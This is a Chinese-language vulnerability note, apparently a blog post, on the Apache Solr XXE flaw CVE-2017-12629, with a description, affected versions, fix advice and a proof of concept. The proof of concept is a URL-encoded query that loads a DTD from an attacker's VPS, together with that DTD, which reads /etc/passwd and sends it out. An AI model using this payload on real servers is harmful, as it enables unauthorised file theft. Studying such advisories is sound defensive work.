Apache solr XML 实体注入漏洞

描述:

  Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

范围:

  Apache solr<7.1.0 版本

利用:

  可参考:https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/

  以及:https://blog.csdn.net/yangbz123/article/details/117827547

修复:

  升级更高版本

  添加Solr访问控制,包括禁止本地直接未授权访问

  修改相关java文件

Poc:
复制代码

/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20root%5B%3C!ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fxxx.xxx.xxx.xxx%2Fapachesolrxxe.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser 其中xxx.xxx.xxx.xxx为vps的ip地址 apachesolrxxe.dtd为dtd文件名

复制代码

vps中dtd文件内容:

复制代码

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

相关推荐
tianyuanwo7 天前
深入解析 RISC-V 虚拟化中的 UEFI 固件配置:从 XML 到 NVRAM 的生命周期管理
xml·linux·risc-v
小小龙学IT7 天前
Apache Airflow 2.x 深度指南:用 Python 编排一切的现代化工作流引擎
开发语言·python·apache
sunxunyong7 天前
ranger与solr&ldap&doris集成部署
solr·lucene
Shepherd06197 天前
【IT 运维】Apache 使用 mod_remoteip 恢复 Cloudflare 后的真实访客 IP
运维·tcp/ip·apache
isyangli_blog8 天前
SDN 基本应用实践 —— 使用命令行实现简易防火墙功能实验报告
服务器·php·apache
小小龙学IT9 天前
Apache Pulsar 深度解析:从架构设计到生产落地
apache
Full Stack Developme9 天前
Apache Tika 教程
java·开发语言·python·apache
laplaya10 天前
C++大型项目组件通信与依赖管理实践
c++·log4j·apache
糖果店的幽灵10 天前
软件测试接口测试从入门到精通:常见接口类型与数据格式
xml·软件测试·json·接口测试·数据格式
万岳科技10 天前
教育培训小程序如何构建线上线下一体化教学体系
小程序·apache